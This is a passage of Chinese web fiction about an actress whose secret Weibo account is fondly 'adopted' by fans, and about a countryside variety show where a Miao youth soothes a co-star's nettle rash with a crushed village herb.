和上次的纠结不同，这次粉丝们的激动盖过了一切。但出于对陈杬祝的尊重，后援会会长还是快速做出了决定：「大家先不要去小号刷屏！等杬祝姐的大号官宣后，我们再正常庆祝！这是杬祝姐的小秘密，我们还是要守护好！」 尽管如此，还是有不少粉丝忍不住，悄悄点进了陈杬祝的小号主页，只是他们都默契地没有关注，没有评论，只是静静地看着那个熟悉的头像和简介。 陈杬祝坐在房车的沙发上，脸颊烫得能煎鸡蛋。她看着许祭和沈司南的消息，苦笑着回复：【睡迷糊了，发错了。】 沈司南的语音很快又发了过来，软糯的声音里带着笑意：「杬祝姐好可爱！没关系的，大家都很开心！」 许祭则回复得很淡定：【已经让工作室的人留意了，不会有太大影响。你现在用大号官宣就好。】 陈杬祝深吸一口气，强迫自己冷静下来。她切换到大号，按照原计划，发布了《山月知我心》的官宣视频和文案。 @陈杬祝： 《山月知我心》今日官宣！山野清风里，与你共赴一场温柔之约。饰演倔强乡村教师林月，期待与大家见面? 【配图：《山月知我心》官宣视频+定妆照】 微博发出的瞬间，全网瞬间沸腾。 #陈杬祝 新剧山月知我心# #陈杬祝 林月# 两个词条以火箭般的速度冲上热搜。粉丝们的祝福铺天盖地，评论区里一片欢腾。 但细心的粉丝们都发现了，评论区里多了一些不一样的声音。 「呜呜呜杬祝姐！我们都知道你的小号啦！一颗幸运草太可爱了！」 「睡迷糊了发错账号的杬祝姐，是真实的小可爱没错了！」 「新剧超期待！也祝我们的一颗幸运草永远幸运！」 「守护杬祝姐的小秘密！也期待林月！」 陈杬祝看着这些评论，原本紧张的心情渐渐平复下来，嘴角忍不住勾起一抹无奈又温柔的笑意。 她没想到，自己的一个小失误，竟然让这个隐藏了许久的小号，以这样一种可爱的方式，被粉丝们正式“认领”。 晚上，陈杬祝结束了一天的拍摄，回到公寓。她犹豫了很久，还是点开了自己的小号。 粉丝数已经从几百涨到了几万，评论区里，全是粉丝们温柔的留言。 「杬祝姐！我们来啦！我们会默默守护你的小号！」 「一颗幸运草！这个名字太温柔了！我们也是你的幸运草！」 「新剧超期待！杬祝姐加油！」 「以后也要在这里分享你的小幸运呀！」 没有刷屏，没有打扰，只有满满的温柔和尊重。 陈杬祝的心底涌上一股暖流，她指尖微动，在小号上发了一条新的微博。 @一颗幸运草： 睡迷糊的小失误，被大家发现啦[羞] 这里依旧是我的小天地，会继续记录生活里的小幸运。谢谢大家的温柔守护，也期待大家和我一起，迎接《山月知我心》的到来～ 【配图：一张她窝在沙发上的自拍，脸上带着浅浅的笑意，手腕上的蓝晶石手链格外显眼】 这条微博发出的瞬间，评论区里瞬间被温暖的氛围淹没。 「呜呜呜杬祝姐太温柔了！我们会一直守护你！」 「小天地我们来啦！以后也要一起分享小幸运！」 「蓝晶石手链！是沈祭祀送的那个！太好哭了！」 「《山月知我心》冲啊！我们一定会支持的！」 陈杬祝看着这些留言，嘴角的笑意越来越浓。她拿出手机，给沈司南和许祭发了条消息，附上了这条微博的截图。 【我的小号，被粉丝们温柔认领啦。】 沈司南的语音很快发了过来，软糯的声音里带着雀跃：「太好了！杬祝姐的小号终于被大家发现了！以后你可以在这里放心地分享小幸运啦！」 许祭的消息也跟着过来：「粉丝们很懂事，不会打扰到你。阿婆让我转告你，她已经给你寄了新的三叶草，让你分给你的幸运草们。」 陈杬祝的心底瞬间被填满了温柔。 从那以后，陈杬祝的小号依旧是她的秘密天地，只是这里多了一群温柔的守护者。 她会在这里分享拍戏的小日常，吐槽夜戏的辛苦，夸赞沈司南寄来的糯米粑粑有多香，甚至会偷偷分享一些《山月知我心》的拍摄花絮。 而粉丝们也依旧默契地守护着这个秘密。他们会在小号里给她留言，分享自己的小幸运，却从不把小号的消息搬到大号，从不打扰她的私人生活。 这天，陈杬祝用小号发了一条微博，分享自己在《山月知我心》里的一场哭戏，配文：「这场哭戏拍了好多次，眼睛都哭肿了[泪] 但看到成片，觉得一切都值得。」 评论区里，粉丝们的留言温暖而治愈。 「杬祝姐辛苦了！我们都看到了你的努力！」 「成片一定超棒！我们已经迫不及待想看了！」 「眼睛肿了要好好休息啊！记得敷冰袋！」 「你是最棒的！我们永远支持你！」 陈杬祝笑着回复了每一条留言，她看着屏幕上的文字，突然觉得，这个小小的失误，或许也是一种幸运。 它让她的小天地，多了一群温柔的伙伴；让她的幸运，多了一群可爱的见证者。 窗外的夜色渐深，横店的灯火依旧璀璨。 陈杬祝靠在沙发上，手里拿着手机，看着小号里的评论和点赞，眼底满是温柔。她的手腕上，蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，书桌前的三叶草在微风中轻轻晃动。 26. 综艺开场 陈杬祝的文艺片《山月知我心》票房口碑双丰收的庆功宴刚结束，工作室的邮箱里就收到了一封重量级邀约——国内顶流慢综艺《山野间的时光》的正式录制邀请。 节目组的策划书里明确提出，拟邀请嘉宾分为两组：一组是因“蛊虫事件”和多年羁绊爆火的陈杬祝、沈司南、许祭，以及陈杬祝的圈外好友绫司司；另一组则是当下热度正盛的三位明星江殇、白菊、黎洛祎。节目组意图很清晰，用陈杬祝三人的独特羁绊、绫司司的圈外视角，搭配江殇等人的流量，打造一季兼具温馨与话题度的爆款慢综。值得一提的是，黎洛祎是唱跳出身的女偶像，正寻求跨界突破。 消息传到陈杬祝耳朵里时，她正窝在公寓里，和沈司南、许祭、绫司司打着四人视频电话。屏幕那头，沈司南抱着熊猫玩偶，正蹲在苗寨的老槐树下喂橘猫，听到“综艺”两个字，长睫轻轻颤了颤，软糯的声音里带着一丝困惑：“综艺是什么？是要和很多人一起在山里住吗？” 许祭则坐在一旁的石凳上，指尖轻轻敲着桌面，声音平静：“节目组想借我们的热度做效果，但胜在是慢综，节奏舒缓，不会有太多刻意的剧本。你怎么想？” 绫司司在另一头的屏幕里晃了晃手里的奶茶，语气雀跃：“我觉得可以啊！正好我最近休假，能和你们一起去山里待一阵子，想想都觉得舒服！” 陈杬祝的指尖摩挲着手腕上的蓝晶石手链，心里竟莫名有些期待。她拍了这么多年戏，从未参加过慢综艺，更别说和沈司南、许祭、绫司司一起，去山野间度过一段慢时光。“那就去试试。”她看向屏幕里的沈司南，眼底带着笑意，“就当是带司南去看看不一样的风景，也让司司放松一下。” 沈司南的眼睛瞬间亮了，抱着熊猫玩偶蹦了蹦：“好啊好啊！只要和杬祝姐、许祭、司司姐一起，去哪里都好！” 许祭看着他雀跃的样子，嘴角勾起一抹淡淡的笑意，轻轻点了点头：“我陪你们。” 另一边，江殇、白菊、黎洛祎收到邀约时，几乎是立刻就答应了。江殇作为实力派男演员，向来想尝试慢综转型；白菊是当红流量小花，急需优质综艺提升路人缘；黎洛祎则看中了这档慢综的温馨调性，希望借此打破“唱跳偶像”的标签。三人都清楚，和陈杬祝三人同框，必然能带来极高的话题度。 节目组的官宣微博一出，全网瞬间炸锅。 #山野间的时光嘉宾阵容# #陈杬祝 沈司南许祭绫司司# #江殇白菊 黎洛祎加盟# 三个词条以火箭般的速度冲上热搜榜首，后面齐刷刷跟着“爆”字。 粉丝们的评论区里，一片欢腾。 「我的天！这是什么神仙阵容！杬祝姐+沈祭祀+许先生+绫司司的亲友团，搭配江殇白菊黎洛祎的明星团！我直接狂喜！」 「绫司司是圈外好友！终于能看到杬祝姐的私人友谊了！」 「慢综艺配山野间的时光！这不就是为沈祭祀量身定做的吗？！江殇老师的实力我也超期待！」 「黎洛祎妹妹终于来慢综了！想看她和白菊姐姐、杬祝姐贴贴！」 录制的地点选在远离城市的一片山谷里，节目组准备了两栋相邻的木屋，陈杬祝四人住一栋，江殇三人住另一栋，院子相连，四周是连绵的青山和清澈的溪流。 四人抵达的那天，阳光正好。陈杬祝刚下车，就看到沈司南正蹲在溪边，好奇地看着水里的小鱼，许祭则站在他身后，手里提着两人的行李，目光温柔地落在他身上。绫司司从另一辆车上下来，顺手将带来的零食袋递给陈杬祝，笑着冲沈司南喊：“司南！快来看我给你带的熊猫饼干！” 沈司南闻声抬头，眼睛弯成了月牙，抱着熊猫玩偶就跑了过来。 没过多久，江殇、白菊、黎洛祎也到了。江殇率先走上前，对着陈杬祝伸出手，语气温和：“杬祝，好久不见，合作愉快。”白菊则是笑着和众人打招呼，目光落在沈司南身上时，带着一丝好奇：“这位就是沈司南先生吧？久仰大名。”黎洛祎则是微微鞠躬，声音清甜：“大家好，我是黎洛祎，很高兴能和大家一起录节目！” 沈司南有些不好意思地躲到许祭身后，只露出半个脑袋，软糯的声音里带着礼貌：“你们好。” 许祭则对着三人微微颔首，算是打过招呼。绫司司见状，主动拉着白菊和黎洛祎的手聊了起来，瞬间缓解了现场的些许尴尬。 接下来的日子，七人在山谷里过起了慢节奏的生活。 每天清晨，陈杬祝、绫司司、白菊、黎洛祎会一起起床做早餐，沈司南则会去院子里喂节目组养的小鸡和兔子，许祭则会默默去溪边打水，准备一天的生活用水；江殇会早起去山里跑步，回来时顺便带些新鲜的露水。 白天，他们会一起去山里采摘野菜和野果，沈司南总能准确地认出哪些是可以吃的，哪些是有药用价值的，偶尔还会给大家讲一些苗寨的小故事，江殇听得格外认真，还时不时提出一些问题；陈杬祝和绫司司则会一边采摘，一边聊着生活里的趣事；许祭则会走在最后，默默守护着所有人，防止有人摔倒；白菊和黎洛祎则会被山里的景色吸引，时不时停下来拍照，还会互相给对方编野花环。 晚上，七人会围坐在院子里的石桌旁，吃着自己做的晚餐，看着满天的繁星，聊着各自的生活。江殇会讲自己拍戏时的艰辛，白菊会分享自己的护肤心得，黎洛祎会给大家唱自己的新歌，还会拉着白菊一起跳一段简单的舞蹈；而沈司南则会给大家唱苗寨的歌谣，声音软糯，格外动听。 节目组没有设置任何刻意的剧本，只是安静地记录着他们的日常，却意外地收获了无数好评。 镜头里，沈司南会蹲在院子里，温柔地给兔子喂食，嘴里还会小声地和它们说话，白菊和黎洛祎会蹲在一旁，眼睛亮晶晶地看着，还会跟着沈司南一起轻声和兔子互动；会在陈杬祝不小心崴到脚时，立刻从口袋里掏出苗寨的草药，小心翼翼地给她敷上，江殇会主动帮忙找来绷带，许祭则会默默蹲下身，检查陈杬祝的伤势；会在许祭忙碌了一天后，主动给他递上一杯温水，眼底满是依赖。 镜头里，许祭会默默包揽所有重活，砍柴、挑水、修房子，从不喊累，江殇会偶尔上前帮忙，两人虽话少，却配合默契；会在沈司南追着蝴蝶跑远时，不动声色地跟在他身后，确保他的安全；会在陈杬祝和绫司司聊得开心时，安静地坐在一旁，嘴角带着淡淡的笑意；会在白菊和黎洛祎遇到困难时，主动伸出援手，却从不邀功——比如黎洛祎爬树摘野果差点摔下来时，是许祭眼疾手快地扶住了她。 镜头里，陈杬祝会耐心地教沈司南使用现代的电器，会在绫司司想家时，轻轻拍着她的背安慰她，会在许祭忙碌时，主动给他擦去额头上的汗水，会在江殇三人聊起拍戏的压力时，分享自己的经验。 镜头里，绫司司会活泼地带动气氛，会和陈杬祝一起分享女生的小秘密，会被沈司南的温柔打动，会对许祭的默默守护心生敬佩，会和白菊、黎洛祎成为好朋友，三人经常一起在溪边泡脚、分享零食。 镜头里，江殇会展现自己成熟稳重的一面，会主动照顾身边的人，会被沈司南的纯真打动，会和许祭一起探讨人生；白菊会放下偶像包袱，和大家一起摘野菜、做饭，会被苗寨的文化吸引，会和绫司司、黎洛祎一起分享美妆心得；黎洛祎会展现自己可爱甜美的一面，会给大家唱跳，会帮着沈司南喂小动物，还会教沈司南跳一段简单的女团舞，逗得众人哈哈大笑。 节目播出后，每一个片段都能引发全网的热议。 「沈祭祀喂兔子的样子也太温柔了吧！我的心都要化了！白菊和黎洛祎的星星眼太真实了！」 「许先生真的是默默守护型啊！什么重活都自己干，江殇老师帮忙的样子也太戳人了！」 「杬祝姐和绫司司的友谊好好磕！一起做饭一起聊天，太温馨了！」 「江殇白菊黎洛祎也太圈粉了吧！没有明星架子，和大家相处得超融洽！」 「黎洛祎教沈祭祀跳舞那段我能看一百遍！沈祭祀手忙脚乱的样子太可爱了！」 有一次，节目组组织七人一起去山里寻找四叶草。沈司南对植物的熟悉度让所有人都惊叹，他很快就找到了一株四叶草，小心翼翼地摘下来，先是递给了陈杬祝：“杬祝姐，四叶草会给你带来好运。”然后又摘了三株，分别递给了绫司司、许祭，最后还特意给江殇、白菊、黎洛祎各摘了一株，软糯的声音里带着笑意：“大家都要幸运。” 许祭则在一旁，默默给众人撑起了遮阳伞，自己则被晒得满头大汗。 江殇看着手里的四叶草，忍不住对着镜头感慨：“我觉得，沈司南先生真的是一个非常温柔的人，他的世界里，充满了爱与善意。” 白菊则点了点头，补充道：“陈杬祝、沈司南、许祭、绫司司四人之间的羁绊，真的太温暖了，让人忍不住想要靠近。” 黎洛祎也跟着说道：“能和大家一起在这里寻找四叶草，真的是一件很幸福的事情，这段回忆我会永远珍藏。” 这段对话，瞬间戳中了无数观众的泪点。 录制的最后一天，七人坐在院子里，看着满天的繁星，都有些不舍。 沈司南抱着熊猫玩偶，软糯的声音里带着一丝伤感：“以后，我们还能一起再来这里吗？” “当然可以。”陈杬祝摸了摸他的头，眼底满是温柔，“只要我们想，随时都可以。” 许祭点了点头，声音平静却坚定：“我陪你们。” 绫司司则笑着说：“下次一定要叫上我！我还想和你们一起摘野菜、喂兔子呢！” 江殇则说：“如果你们来，我一定奉陪。” 白菊和黎洛祎也纷纷点头：“我们也是！下次我们还要一起跳女团舞！” 节目收官的那一期，收视率创下了历史新高。节目组特意放出了一段未播花絮，画面里，七人在山谷里的最后一个清晨，一起看了日出。 太阳从青山后面缓缓升起，金色的阳光洒在七人身上，温暖而美好。 沈司南兴奋地指着太阳，嘴里喊着：“杬祝姐！许祭！司司姐！江殇哥！白菊姐！洛祎姐！你们看！太阳出来了！” 陈杬祝和绫司司相视而笑，许祭则站在三人身后，嘴角带着淡淡的笑意，江殇、白菊、黎洛祎则纷纷拿出手机，记录下这美好的瞬间，黎洛祎还特意拉着沈司南一起对着太阳比了个心。 这段花絮，被粉丝们称为“年度最温馨画面”。 节目结束后，七人的友谊并没有就此结束。 沈司南会经常给陈杬祝、绫司司、江殇、白菊、黎洛祎寄来苗寨的特产，许祭则会偶尔组织七人一起聚餐，陈杬祝和绫司司则会一起去苗寨看望沈司南和阿婆，江殇、白菊、黎洛祎则会在有空时，一起加入他们的行列——黎洛祎还特意带着自己的舞蹈团队，去苗寨给孩子们表演了一场舞蹈。 陈杬祝的小号@一颗幸运草里，也多了很多关于综艺的回忆。 她会发沈司南喂兔子的照片，配文：「今日份小幸运，看到了最温柔的瞬间[兔子]」 会发七人一起做的晚餐，配文：「山野间的味道，是最温暖的幸运[心]」 会发许祭默默撑伞的背影，配文：「最默默的守护，最温暖的幸运[太阳]」 会发和绫司司、白菊、黎洛祎的合照，配文：「有姐妹在身边，就是最大的幸运[耶]」 粉丝们依旧在小号里默默守护着她，评论区里满是温暖的留言。 窗外的夜色渐深，横店的灯火依旧璀璨。 陈杬祝靠在沙发上，手里拿着手机，看着小号里的照片和留言，眼底满是温柔。她的手腕上，蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，书桌前的三叶草在微风中轻轻晃动。 她知道，《山野间的时光》不仅是一档综艺，更是一段温暖的回忆。 而她和沈司南、许祭、绫司司，以及江殇、白菊、黎洛祎之间的故事，也会因为这段回忆，变得更加牢固。 这一切，都是最好的安排。 午后的阳光透过山谷间层层叠叠的香樟树叶，筛下斑驳陆离的光影，落在青石板铺就的院子里，像撒了一把碎金。空气里弥漫着野枇杷的清甜和草木的湿润气息，七个人的身影被拉得长长的，刚从后山的枇杷林里满载而归。 黎洛祎的手上还提着半篮金黄的野枇杷，指尖沾着些许枇杷汁，脸上挂着止不住的笑意。她是唱跳出身的女偶像，平日里在舞台上总是光鲜亮丽，可到了这山野间，却彻底卸下了偶像包袱，跟着大家一起爬树摘果，裙摆上沾了泥点也毫不在意。此刻她正和白菊凑在一起，叽叽喳喳地讨论着晚上要做的枇杷糖水，声音清甜得像山涧的泉水。 “白菊姐，我觉得我们可以多放一点冰糖，这样煮出来的糖水会更甜！”黎洛祎侧着头，眼睛亮晶晶的，脸颊在阳光的照射下泛着健康的红晕，白皙细腻的皮肤几乎能掐出水来。 白菊笑着点了点她的额头，语气里带着宠溺：“你啊，就是喜欢吃甜的。不过也好，晚上大家累了一天，喝一碗甜甜的枇杷糖水正好解乏。” 江殇走在最后面，手里扛着一根刚砍的枯木，那是用来晚上烧火的。他看着前面两个女孩子的互动，嘴角忍不住勾起一抹温和的笑意。许祭则跟在沈司南身边，沈司南的怀里抱着那只从不离身的熊猫玩偶，另一只手则牵着许祭的衣角，脚步轻快地蹦蹦跳跳，时不时停下来蹲在路边，对着一只路过的七星瓢虫小声说话。 陈杬祝和绫司司走在中间，两人手里都提着小半篮枇杷，正聊着绫司司最近刚看完的一本小说。绫司司是陈杬祝的圈外好友，性格活泼开朗，很快就和白菊、黎洛祎打成了一片，完全没有因为自己是圈外人而感到拘束。 就在这时，黎洛祎突然捂着脸颊低呼了一声，声音里的笑意瞬间消失殆尽，取而代之的是难以掩饰的委屈和痛苦。她手里的枇杷篮“哐当”一声掉在地上，金黄的枇杷滚了一地，有的甚至滚到了院子的角落。 “洛祎，你怎么了？”白菊最先注意到她的异样，连忙丢下手里的篮子，快步凑过去查看。她的声音里带着明显的焦急，目光落在黎洛祎的脸上时，忍不住倒吸了一口凉气。 周围的人也纷纷围了过来，脸上的笑容瞬间被担忧取代。陈杬祝立刻蹲下身，扶住黎洛祎摇摇欲坠的身体，轻声安抚道：“洛祎，别慌，告诉我们怎么了？” 黎洛祎的脸颊原本白皙细腻，此刻却泛起了大片的红疹子，从额头一直蔓延到下巴，连带着脖颈处也冒出了细密的小红点，看起来触目惊心。那些红疹子还在以肉眼可见的速度蔓延，皮肤表面已经开始微微凸起，泛着不正常的光泽。 “我不知道……”黎洛祎的声音带着哭腔，眼泪在眼眶里打转，随时都有可能掉下来。她的手指紧紧抓着自己的衣角，指甲几乎要嵌进肉里，“我刚才好像碰到了一丛长得很奇怪的草，当时没在意，现在突然就痒得厉害，脸也开始发烫。” 她说着，下意识地想去抓挠自己的脸颊，那股钻心的痒意像是有无数只小虫子在皮肤下面爬动，让她几乎难以忍受。 “别抓！”白菊眼疾手快地一把按住了她的手，语气急切却又带着安抚，“越抓越严重，还容易留疤，你是偶像，脸多重要啊！” 黎洛祎的眼泪终于忍不住掉了下来，顺着脸颊滑落，滴在白菊的手背上，带着一丝温热。“可是我真的好痒啊……”她的声音哽咽着，充满了无助，“这里离市区那么远，根本没有医院，也没有药店，我该怎么办啊？” 江殇立刻转身去翻节目组放在院子角落的急救箱，那是节目组为了应对突发情况特意准备的。他的动作很快，几乎是三步并作两步冲了过去，一把打开急救箱的盖子，开始在里面翻找起来。 “有没有抗过敏的药膏？有没有？”江殇的声音里带着明显的焦急，他的手指在急救箱里快速地翻动着，将里面的东西一件件拿出来查看。消毒水、创可贴、纱布、退烧药、感冒药……急救箱里的东西不少，却唯独没有抗过敏的药膏，更没有治疗皮肤过敏的口服药。 “没有，急救箱里没有抗过敏的药。”江殇的声音带着一丝无奈，他合上急救箱的盖子，转过身看着众人，脸上满是歉意，“节目组可能是疏忽了，没有准备这方面的药品。” 陈杬祝的眉头紧紧皱了起来，她低头看了看黎洛祎越来越严重的红疹子，心里也是焦急万分。她拍了拍黎洛祎的后背，试图让她冷静下来：“洛祎，你先别着急，我们再想想办法。你还记不记得你碰到的那丛草长什么样子？我们可以先确定一下是什么草，看看有没有什么应急的办法。” 黎洛祎摇了摇头，眼泪掉得更凶了：“我当时光顾着摘枇杷了，没仔细看，只记得那丛草的叶子是锯齿状的，开着淡黄色的小花。” 绫司司在一旁急得团团转，她的眼睛里也满是担忧，嘴里不停念叨着：“这可怎么办啊？山里的野草那么多，谁知道那是什么草啊？要是再这样下去，洛祎的脸会不会越来越严重啊？” 许祭的目光落在黎洛祎的脸上，眉头微微皱起，他的手指轻轻敲击着自己的下巴，似乎在思考着什么。他转头看了一眼身边的沈司南，却发现沈司南正低着头，似乎在专注地看着什么。 就在众人手足无措，气氛变得越来越压抑的时候，一直安静站在旁边的沈司南突然拉了拉许祭的衣角，软糯的声音里带着一种与年龄不符的笃定：“许祭，我知道怎么治。” 他的声音不大，却像是一道惊雷，瞬间打破了现场的沉寂。所有人的目光都齐刷刷地落在了他的身上，带着一丝惊讶，也带着一丝期待。 陈杬祝看着沈司南，眼底满是信任：“司南，你有办法？” 沈司南抬起头，点了点头，他的眼睛亮晶晶的，像是蕴藏着星辰大海。“嗯。”他应了一声，软糯的声音里带着肯定，“洛祎姐这是碰到了荨麻草，身上起了风疹。这种草在苗寨的山里也很常见，寨子里的人要是不小心碰到了，都会用消疹草来治。” “消疹草？”黎洛祎抬起头，泪眼婆娑地看着沈司南，声音里带着一丝疑惑，也带着一丝希望，“那是什么草？真的能治好我的脸吗？” “能。”沈司南的回答简洁而坚定，他看着黎洛祎，眼神里满是认真，“消疹草是苗寨特有的一种草药，专门用来治疗皮肤过敏和风疹，敷上半个时辰，红疹子就会消退，痒意也会消失。” 他说着，挣脱开许祭的手，快步跑到院子角落的草丛里。他的脚步很轻快，像一只灵活的小鹿，白色的衣角在风中轻轻飘动。 众人的目光都紧紧跟随着他的身影，连大气都不敢喘一下，生怕打扰到他。黎洛祎也停止了哭泣，她的眼睛一眨不眨地看着沈司南，眼神里充满了期待。 沈司南蹲下身，仔细地在草丛里翻找着什么。他的动作很轻柔，像是在呵护一件易碎的珍宝。他的手指纤细而白皙，小心翼翼地拨开那些茂密的草叶，避开带刺的枝条，生怕被划伤。 阳光落在他低垂的眼睫上，投下淡淡的阴影，让他的侧脸看起来格外的柔和。他的嘴巴里还时不时地小声念叨着什么，像是在和那些小草对话。 许祭默默跟在他身后，脚步放得很轻，几乎没有发出任何声音。他的目光始终落在沈司南的身上，眼神里满是温柔和宠溺。每当沈司南遇到挡路的枝条时，许祭都会默默地走上前，替他拨开那些枝条，防止他被划伤。 “找到了。”沈司南突然眼前一亮，他的声音里带着一丝兴奋，小心翼翼地从草丛里拔出几株带着露水的小草。 那几株小草的叶子呈心形，边缘带着浅浅的锯齿，顶端开着细碎的小白花，看起来并不起眼，却带着一股淡淡的草木清香。草叶上还沾着晶莹的露珠，在阳光的照射下闪闪发光，像是一颗颗小小的钻石。 沈司南捧着那几株消疹草，小心翼翼地站起身，快步跑回众人身边。他的脸上带着一丝腼腆的笑容，眼睛弯成了月牙，看起来格外的可爱。 “这就是消疹草。”沈司南将手里的消疹草递给众人看，软糯的声音里带着一丝骄傲，“这种草喜欢长在阴凉潮湿的地方，叶子上的小白花是它最明显的标志。” 陈杬祝看着沈司南手里的消疹草，眼底满是笑意：“司南真厉害，连这种草药都认识。” 绫司司也忍不住点了点头，语气里满是赞赏：“是啊是啊，司南简直就是我们的小神医！” 江殇的脸上也露出了欣慰的笑容，他看着沈司南，语气里满是赞赏：“沈司南先生不仅温柔，还懂得这么多苗寨的小技巧，真是让人佩服。” 沈司南被众人夸得有些不好意思，他低下头，脸颊微微泛红，小声地说道：“这没什么，寨子里的人都知道。” 他说着，抬头看向许祭，眼神里带着一丝求助。他虽然知道消疹草可以治疗风疹，却不知道该怎么处理这些草药，以前在苗寨的时候，都是阿婆或者许祭帮他处理的。 许祭心领神会，他对着沈司南温柔地笑了笑，然后转身走向厨房。他的脚步很稳，不紧不慢，很快就从厨房里取来了一个干净的石臼和一根石杵。 那石臼是节目组特意准备的，用来捣蒜或者捣一些其他的东西，看起来古朴而厚重。许祭将石臼放在院子中央的石桌上，然后从沈司南手里接过那些消疹草，小心翼翼地放进石臼里。 他又走到院子旁边的小溪边，用一个干净的竹筒舀了少许清凉的溪水，倒进石臼里。溪水带着一丝淡淡的清凉，和消疹草混合在一起，散发出一股更加浓郁的草木清香。 许祭拿起石杵，开始轻轻捣动石臼里的消疹草。他的动作很轻柔，却又带着一种独特的韵律，每一次捣动都恰到好处。石杵和石臼碰撞在一起，发出“咚咚咚”的轻响，在这宁静的山谷里，显得格外的悦耳。 沈司南站在许祭的身边，眼睛一眨不眨地看着他的动作，嘴里还时不时地提醒道：“许祭，要轻轻的，不要把草叶捣得太碎，不然药效会流失的。” “我知道。”许祭的声音温柔而低沉，他侧过头看了沈司南一眼，眼底满是笑意，“放心吧。” 没过多久，石臼里的消疹草就被捣成了糊状，草绿色的糊状物质里还夹杂着一些细碎的草叶，看起来并不起眼，却散发着一股清新的草木气息。 许祭放下石杵，对着沈司南点了点头，表示已经好了。 沈司南立刻小心翼翼地接过石臼，他的手指紧紧抓着石臼的边缘，脚步放得很慢，生怕里面的草糊洒出来。他走到黎洛祎面前，停下脚步，眼神里满是认真：“洛祎姐，这个草糊有点凉，你忍一下，敷在脸上会很舒服的。” 黎洛祎点了点头，她的眼睛里还带着一丝泪痕，却已经没有了之前的无助和恐慌。她看着沈司南专注的模样，心里涌起一股暖流，声音带着哽咽：“谢谢你，司南。” “不用谢。”沈司南抬起头，露出了一个腼腆的笑容，他的牙齿洁白而整齐，看起来格外的可爱。 他先用干净的手指蘸了一点草糊，轻轻点在黎洛祎的手背上，测试了一下温度，确定不会太凉之后，才开始小心翼翼地涂抹在她的脸颊上。 他的动作轻柔得不像话，仿佛生怕弄疼了她。他的手指纤细而白皙，蘸着草绿色的草糊，轻轻拂过黎洛祎泛红的脸颊。从额头到下巴，从左脸到右脸，每一个角落都被他照顾得无微不至。 阳光落在他低垂的眼睫上，投下淡淡的阴影，让他的侧脸看起来格外的柔和。他的眉头微微皱着，眼神里满是专注，仿佛正在做一件极其重要的事情。 黎洛祎原本紧绷的身体，在他轻柔的动作下渐渐放松下来。那股钻心的痒意也慢慢消退，取而代之的是一阵阵清凉，从皮肤表面一直渗透到皮肤深处，让她忍不住舒服地喟叹了一声。 她看着沈司南专注的模样，眼眶微微泛红，心里充满了感激。她从来没有想过，自己会在这样一个偏僻的山谷里，遇到这样一场突如其来的意外，更没有想过，会被这样一个温柔的少年所拯救。 沈司南不仅帮她找到了治疗风疹的草药，还亲自帮她涂抹，他的动作里没有丝毫的嫌弃，只有满满的认真和温柔。 旁边的人都安静地看着这一幕，没有人说话，生怕打扰到他们。院子里只剩下微风拂过树叶的沙沙声，以及沈司南偶尔发出的轻柔的提醒声。 “洛祎姐，眼睛旁边要小心一点，不要弄到眼睛里了。” “洛祎姐，脖子上也有红疹子，我帮你也敷上吧。” “洛祎姐，你忍一下，马上就好了。” 沈司南的声音软糯而温柔，像一股清泉，流淌在每个人的心里。 许祭站在一旁，目光始终落在沈司南的身上，眼神里满是温柔和宠溺。他的手里拿着一条干净的毛巾，随时准备着帮沈司南擦干净手指。 陈杬祝和绫司司相视一笑，眼底满是欣慰。白菊则在一旁，细心地帮黎洛祎整理着头发，防止头发碰到敷着草糊的脸颊。江殇则靠在院子的门框上，看着眼前这温馨的一幕，嘴角勾起一抹淡淡的笑意。 大约过了一刻钟，沈司南终于帮黎洛祎把脸颊和脖子上的红疹子都敷上了草糊。他放下石臼，对着黎洛祎露出了一个开心的笑容：“洛祎姐，好了。消疹草要敷半个时辰，等下就会好了。” 黎洛祎点了点头，她的声音里带着一丝轻松：“谢谢你，司南，我现在感觉舒服多了，痒意已经消失了。” “那就好。”沈司南的眼睛亮了起来，看起来格外的开心。 许祭走上前，拿出手里的毛巾，小心翼翼地帮沈司南擦干净手指上的草糊。他的动作很轻柔，眼神里满是温柔。 沈司南乖乖地站在原地，任由许祭帮他擦手，嘴里还时不时地念叨着：“许祭，你有没有弄脏衣服？要不要我帮你擦一下？” “不用。”许祭的声音温柔而低沉，“我没事。” 接下来的半个时辰，众人都没有离开，而是围坐在院子里，陪着黎洛祎。黎洛祎坐在石凳上，闭着眼睛，享受着草糊带来的清凉。沈司南站在她的身边，时不时地提醒她不要用手去碰草糊。 许祭则在院子里生起了一堆火，准备晚上做饭用。陈杬祝和绫司司则在收拾掉在地上的枇杷，将那些没有摔坏的枇杷重新放进篮子里。白菊则在和黎洛祎聊天，分散她的注意力。江殇则在一旁劈柴，为晚上的篝火晚会做准备。 时间过得很快，半个时辰的时间转瞬即逝。 沈司南走到黎洛祎面前，轻声提醒道：“洛祎姐，时间到了，我帮你把草糊擦掉吧。” 黎洛祎睁开眼睛，点了点头。 沈司南从厨房里取来了一盆温水，又拿了一条干净的毛巾。他将毛巾浸湿，然后拧干，小心翼翼地帮黎洛祎擦去脸上的草糊。 他的动作依旧轻柔得不像话，生怕弄疼了黎洛祎。他先擦去黎洛祎额头的草糊，然后是脸颊，最后是下巴和脖子。 随着草糊被一点点擦去，众人的目光都紧紧盯着黎洛祎的脸，眼神里满是期待。 当最后一点草糊被擦去时，所有人都忍不住发出了一声惊叹。 黎洛祎脸上的红疹子已经消退了大半，只剩下淡淡的印记，皮肤也恢复了之前的白皙细腻，只是还有一丝淡淡的泛红，看起来就像是害羞了一样。那些凸起的疹子也已经平复下去，皮肤表面变得光滑而细腻，痒意也完全消失了。 “太神奇了！”黎洛祎看着镜子里的自己，忍不住惊呼出声，声音里满是雀跃和不敢置信。她伸出手，轻轻抚摸着自己的脸颊，皮肤光滑而细腻，没有丝毫的不适感。 她转过头，看着沈司南，眼睛里闪烁着泪光，却带着开心的笑容：“司南，你真的太厉害了！我的脸真的好了！” 她说着，主动上前一步，给了沈司南一个大大的拥抱。她的手臂紧紧地抱着沈司南的肩膀，脸颊贴在他的胸口，声音里满是感激：“谢谢你，司南，真的太谢谢你了！如果不是你，我都不知道该怎么办了。” 沈司南的身体瞬间变得有些僵硬，他的眼睛微微睁大，似乎有些不知所措。他从来没有被女孩子这样拥抱过，尤其是在这样众目睽睽之下。 不过很快，他就反应了过来，轻轻抬起手臂，也回抱了黎洛祎一下。他的手臂很纤细，却带着一股温柔的力量。“洛祎姐，你没事就好。”他的声音软糯而温柔，带着一丝害羞。 